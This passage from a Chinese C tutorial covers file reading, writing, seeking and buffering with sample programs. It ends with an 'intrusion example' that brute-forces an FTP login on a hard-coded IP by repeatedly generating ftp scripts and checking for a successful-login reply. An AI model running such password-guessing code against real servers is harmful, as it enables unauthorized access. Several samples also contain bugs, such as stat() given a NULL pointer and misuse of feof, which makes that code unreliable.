样输入输出。
**文件可能会出现打开失败的情况:
1.文件目录不正确
2.没有对应的打开文件的权限
3.打开文件超出上限**
6.2.3 文件的关闭
任何文件在使用后应该关闭:
打开的文件会占用内存资源,如果总是打开不关闭,会消耗很多内存
一个进程同时打开的文件数是有限制的,超过最大同时打开文件数,再次调用fopen
打开文件会失败
如果没有明确的调用fclose关闭打开的文件,那么程序在退出的时候,操作系统会
统一关闭。
因此,在打开一个文件进行操作后,结束后必须记得关闭文件fclose();
6.3 文件的顺序读写
6.3.1 按照字符读写文件fgetc、fputc
1)写文件
#include <stdio.h>
int fputc(int ch, FILE * stream);
功能:将ch转换为unsigned char后写入stream指定的文件中
参数:
ch:需要写入文件的字符
stream:文件指针
返回值:
成功:成功写入文件的字符
失败:返回-1
2) 读文件
#include <stdio.h>
int fgetc(FILE * stream);
功能:从stream指定的文件中读取一个字符
参数:
stream:文件指针
返回值:
成功:返回读取到的字符
失败:-1
3)文件结尾
在C语言中,EOF表示文件结束符(end of file)。在while循环中以EOF作为文件结束标志,
这种以EOF作为文件结束标志的文件,必须是文本文件。在文本文件中,数据都是以字符
的ASCII代码值的形式存放。我们知道,ASCII代码值的范围是0~127,不可能出现-1,因
此可以用EOF作为文件结束标志(#define EOF -1)。
当把数据以二进制形式存放到文件中时,就会有-1值的出现,因此不能采用EOF作为
二进制文件的结束标志。为解决这一个问题,ANSI C提供一个feof函数,用来判断文件
是否结束。
feof函数既可用以判断二进制文件又可用以判断文本文件:
#include <stdio.h>
int feof(FILE * stream);
功能:检测是否读取到了文件结尾。判断的是最后一次“读操作的内容”,不是当前位置
内容(上一个内容)。
参数:
stream:文件指针
返回值:
非0值:已经到文件结尾
0:没有到文件结尾
简单案例(Linux中的cat命令和vi编辑器的简单实现):
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main0101 ( )
{
char fileName[ 256 ] ;
printf ( "请输入文件名:\n" ) ;
scanf ( "%s" , fileName) ;
getchar ( ) ;
FILE* fp = fopen ( fileName, "w" ) ;
if ( fp == NULL )
{
return - 1 ;
}
char buffer[ 1024 ] ;
while ( 1 )
{
memset ( buffer, 0 , 1024 ) ;
fgets ( buffer, 1024 , stdin ) ;
if ( ! strncmp ( "in==exit" , buffer, 8 ) )
{
break ;
}
int i = 0 ;
while ( buffer[ i] != 0 )
{
fputc ( buffer[ i] , fp) ;
i++ ;
}
}
fclose ( fp) ;
return 0 ;
}
int main ( )
{
char fileName[ 256 ] ;
printf ( "输入查看的文件名:\n" ) ;
scanf ( "%s" , fileName) ;
getchar ( ) ;
FILE* fp = fopen ( fileName, "r" ) ;
if ( ! fp)
return - 1 ;
char buffer = 0 ;
while ( buffer != EOF )
{
buffer = fgetc ( fp) ;
printf ( "%c" , buffer) ;
}
fclose ( fp) ;
return 0 ;
}
6.3.2按照行读写文件fgets、fputs
1)写文件
#include <stdio.h>
int fputs(const char * str, FILE * stream);
功能:将str所指定的字符串写入到stream指定的文件中,字符串结束符 '\0' 不写入文件。
参数:
str:字符串
stream:文件指针
返回值:
成功:0
失败:-1
2)读文件
#include <stdio.h>
char * fgets(char * str, int size, FILE * stream);
功能:从stream指定的文件内读入字符,保存到str所指定的内存空间,直到出现换行字符、读到文件结尾或是已读了size - 1个字符为止,最后会自动加上字符 '\0' 作为字符串结束。
参数:
str:字符串
size:指定最大读取字符串的长度(size - 1)
stream:文件指针
返回值:
成功:成功读取的字符串
读到文件尾或出错: NULL
简单案例(随机生成四则运算放在文件中,然后将运算式取出得出结果后放回源文件):
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ( )
{
FILE* fp1 = fopen ( "b.txt" , "r" ) ;
FILE* fp2 = fopen ( "value.txt" , "w" ) ;
if ( ! fp1 || ! fp2)
return - 1 ;
int a, b;
char c;
float value = 0 ;
char buffer[ 20 ] ;
while ( feof ( fp1) == 0 )
{
memset ( buffer, 0 , 20 ) ;
fgets ( buffer, 9 , fp1) ;
sscanf ( buffer, "%d %c %d = \n" , & a, & c, & b) ;
switch ( c)
{
case '+' :
value = a + b;
break ;
case '-' :
value = a - b;
break ;
case '*' :
value = a * b;
break ;
case '/' :
value = a* 1.0 / b;
break ;
}
sprintf ( buffer, "%d %c %d = %.2f\n" , a, c, b, value) ;
fputs ( buffer, fp2) ;
}
fclose ( fp1) ;
fclose ( fp2) ;
return 0 ;
}
6.3.3按照格式化文件fprintf、fscanf
三种不同的格式比较:
1.字符串的标准输入输出
scanf();printf();
2.格式化字符串
sscanf();sprintf();
3.格式化文件
fprintf();fscanf();
1)写文件
#include <stdio.h>
int fprintf(FILE * stream, const char * format, ...);
功能:根据参数format字符串来转换并格式化数据,然后将结果输出到stream指定的文件中,指定出现字符串结束符 '\0' 为止。
参数:
stream:已经打开的文件
format:字符串格式,用法和printf()一样
返回值:
成功:实际写入文件的字符个数
失败:-1
2)读文件
#include <stdio.h>
int fscanf(FILE * stream, const char * format, ...);
功能:从stream指定的文件读取字符串,并根据参数format字符串来转换并格式化数据。
参数:
stream:已经打开的文件
format:字符串格式,用法和scanf()一样
返回值:
成功:参数数目,成功转换的值的个数
失败: - 1
简单案例:随机生成1W个数字放于文件中,取出后排序再放回原文件:
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
int main ( )
{
srand ( ( unsigned int ) time ( NULL ) ) ;
FILE* fp = fopen ( "randomNum.txt" , "w" ) ;
int * p = ( int * ) malloc ( sizeof ( int ) * 10000 ) ;
if ( ! p)
return - 1 ;
for ( int i = 0 ; i < 10000 ; i++ )
{
int a = rand ( ) % 1000 + 1 ;
fprintf ( fp, "%d\n" , a) ;
}
fclose ( fp) ;
unsigned int starttime = time ( NULL ) ;
fp = fopen ( "randomNum.txt" , "r" ) ;
for ( int i = 0 ; i < 10000 ; i++ )
{
fscanf ( fp, "%d\n" , & p[ i] ) ;
}
fclose ( fp) ;
for ( int i = 0 ; i < 10000 - 1 ; i++ )
{
for ( int j = 0 ; j < 10000 - 1 - i; j++ )
{
if ( p[ j] > p[ j + 1 ] )
{
int temp = p[ j] ;
p[ j] = p[ j + 1 ] ;
p[ j + 1 ] = temp;
}
}
}
fp = fopen ( "randomNum.txt" , "w" ) ;
for ( int i = 0 ; i < 10000 ; i++ )
{
fprintf ( fp, "%d\n" , p[ i] ) ;
}
unsigned int endtime = time ( NULL ) ;
printf ( "共用时间为:%d\n" , endtime - starttime) ;
fclose ( fp) ;
free ( p) ;
return 0 ;
}
6.3.4按照块读写文件fread、fwrite
1)写文件
#include <stdio.h>
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream);
功能:以数据块的方式给文件写入内容
参数:
ptr:准备写入文件数据的地址
size: size_t 为 unsigned int类型,此参数指定写入文件内容的块数据大小
nmemb:写入文件的块数,写入文件数据总大小为:size * nmemb
stream:已经打开的文件指针
返回值:
成功:实际成功写入文件数据的块数目,此值和nmemb相等
失败:0
2)读文件
#include <stdio.h>
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
功能:以数据块的方式从文件中读取内容
参数:
ptr:存放读取出来数据的内存空间
size: size_t 为 unsigned int类型,此参数指定读取文件内容的块数据大小
nmemb:读取文件的块数,读取文件数据总大小为:size * nmemb
stream:已经打开的文件指针
返回值:
成功:实际成功读取到内容的块数,如果此值比nmemb小,但大于0,说明读到文件的结尾。
失败:0
案例:大文件拷贝:
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/types.h>
#define MAXSIZE 1024*1024*10
int main ( int argc, char * argv[ ] )
{
unsigned int start_time = time ( NULL ) ;
if ( argc < 3 )
{
printf ( "缺少参数!\n" ) ;
return - 1 ;
}
FILE* fp1 = fopen ( argv[ 1 ] , "r" ) ;
FILE* fp2 = fopen ( argv[ 2 ] , "w" ) ;
if ( ! fp1 || ! fp2)
{
printf ( "操作文件失败\n" ) ;
return - 2 ;
}
struct stat* s = NULL ;
stat ( argv[ 1 ] , s) ;
char * ch;
int maxSize = 0 ;
if ( ( s-> st_size) < MAXSIZE)
{
maxSize = s-> st_size;
ch = ( char * ) malloc ( sizeof ( char ) * ( s-> st_size) ) ;
}
else
{
maxSize = MAXSIZE;
ch = ( char * ) malloc ( sizeof ( char ) * MAXSIZE) ;
}
while ( ! feof ( fp1) )
{
memset ( ch, 0 , maxSize) ;
int len = fread ( ch, 1 , maxSize, fp1) ;
fwrite ( ch, len, 1 , fp2) ;
}
fclose ( fp1) ;
fclose ( fp2) ;
free ( ch) ;
unsigned int end_time = time ( NULL ) ;
printf ( "所花费的时间为:%d(s)\n" , end_time - start_time) ;
return 0 ;
}
6.4 文件的随机读写
#include <stdio.h>
int fseek(FILE *stream, long offset, int whence);
功能:移动文件流(文件光标)的读写位置。
参数:
stream:已经打开的文件指针
offset:根据whence来移动的位移数(偏移量),可以是正数,也可以负数,如果正数,则相对于whence往右移动,如果是负数,则相对于whence往左移动。如果向前移动的字节数超过了文件开头则出错返回,如果向后移动的字节数超过了文件末尾,再次写入时将增大文件尺寸。
whence:其取值如下:
**SEEK_SET:从文件开头移动offset个字节
SEEK_CUR:从当前位置移动offset个字节
SEEK_END:从文件末尾移动offset个字节 **
返回值:
成功:0
失败:-1
#include <stdio.h>
long ftell(FILE *stream);
功能:获取文件流(文件光标)的读写位置。
参数:
stream:已经打开的文件指针
返回值:
成功:当前文件流(文件光标)的读写位置
失败:-1
#include <stdio.h>
void rewind(FILE *stream);
功能:把文件流(文件光标)的读写位置移动到文件开头。
参数:
stream:已经打开的文件指针
返回值:
无返回值
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
int main0101 ( )
{
char * arr = "hello world" ;
FILE* fp = fopen ( "d.txt" , "w" ) ;
fputs ( arr, fp) ;
fclose ( fp) ;
return 0 ;
}
int main0102 ( )
{
FILE* fp = fopen ( "d.txt" , "r" ) ;
if ( ! fp)
return - 1 ;
fseek ( fp, - 5 , SEEK_END ) ;
char ch;
while ( ( ch = getc ( fp) ) != EOF )
printf ( "%c" , ch) ;
fclose ( fp) ;
return 0 ;
}
int main ( )
{
FILE* fp = fopen ( "d.txt" , "r" ) ;
if ( ! fp)
return - 1 ;
char buf[ 20 ] ;
while ( ! feof ( fp) )
{
fgets ( buf, 20 , fp) ;
printf ( "%s" , buf) ;
printf ( "%ld\n" , ftell ( fp) ) ;
}
rewind ( fp) ;
printf ( "%ld\n" , ftell ( fp) ) ;
fclose ( fp) ;
return 0 ;
}
6.5 Windows和Linux文本文件区别
1.b是二进制模式的意思,b只是在Windows有效,在Linux用r和rb的结果是一样的
2.Unix和Linux下所有的文本文件行都是\n结尾,而Windows所有的文本文件行都是\r\n结尾
3.在Windows平台下,以“文本”方式打开文件,不加b:
4.当读取文件的时候,系统会将所有的 "\r\n" 转换成 "\n"
5.当写入文件的时候,系统会将 "\n" 转换成 "\r\n" 写入
6.以"二进制"方式打开文件,则读\写都不会进行这样的转换
7.在Unix/Linux平台下,“文本”与“二进制”模式没有区别,"\r\n" 作为两个字符原样输入输出
判断文本文件是Linux格式还是Windows格式:
6.6 获取文件状态
#include <sys/types.h>
#include <sys/stat.h>
int stat(const char *path, struct stat *buf);
功能:获取文件状态信息
参数:
path:文件名
buf:保存文件信息的结构体
返回值:
成功:0
失败-1
6.7 删除文件、重命名文件名
#include <stdio.h>
int remove(const char *pathname);
功能:删除文件
参数:
pathname:文件名
返回值:
成功:0
失败:-1
#include <stdio.h>
int rename(const char *oldpath, const char *newpath);
功能:把oldpath的文件名改为newpath
参数:
oldpath:旧文件名
newpath:新文件名
返回值:
成功:0
失败: - 1
6.8 文件缓冲区
6.8.1文件缓冲区
1.ANSI C标准采用“缓冲文件系统”处理数据文件。
2.所谓缓冲文件系统是指系统自动地在内存区为程序中每一个正在使用的文件开辟一个文
件缓冲区从内存向磁盘输出数据必须先送到内存中的缓冲区,装满缓冲区后才一起送到磁盘去。
3.如果从磁盘向计算机读入数据,则一次从磁盘文件将一批数据输入到内存缓冲区(充满
缓冲区),然后再从缓冲区逐个地将数据送到程序数据区(给程序变量) 。
6.8.2磁盘文件的存取
1.磁盘文件,一般保存在硬盘、U盘等掉电不丢失的磁盘设备中,在需要时调入内存
2.在内存中对文件进行编辑处理后,保存到磁盘中
3.程序与磁盘之间交互,不是立即完成,系统或程序可根据需要设置缓冲区,以提高存取
效率。
更新缓冲区:
#include <stdio.h>
int fflush(FILE *stream);
功能:更新缓冲区,让缓冲区的数据立马写到文件中。
参数:
stream:文件指针
返回值:
成功:0
失败:-1
简单入侵案例:
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void CreatePassFile ( char * ip, char * pass)
{
FILE * fp2 = fopen ( "D:\\a.txt" , "w" ) ;
if ( ! fp2)
return ;
fprintf ( fp2, "open %s\nuser\nfeng\n%sbye" , ip, pass) ;
fclose ( fp2) ;
}
int main ( void )
{
char * ip = "192.168.123.106" ;
char pass[ 20 ] ;
pass[ 0 ] = 32 ;
while ( 1 )
{
memset ( pass, 0 , 20 ) ;
CreatePassFile ( ip, pass) ;
char buf[ 1024 ] ;
FILE * fp3 = _popen ( "ftp -n -s:D:\\a.txt" , "r" ) ;
if ( ! fp3)
return - 1 ;
while ( ! feof ( fp3) )
{
memset ( buf, 0 , 1024 ) ;
fgets ( buf, 1024 , fp3) ;
if ( ! strncmp ( "230" , buf, 3 ) )
{
printf ( "入侵成功!\n" ) ;
printf ( "密码:%s" , pass) ;
exit ( 0 ) ;
}
}
_pclose ( fp3) ;
pass[ 0 ] ++ ;
}
return 0 ;
}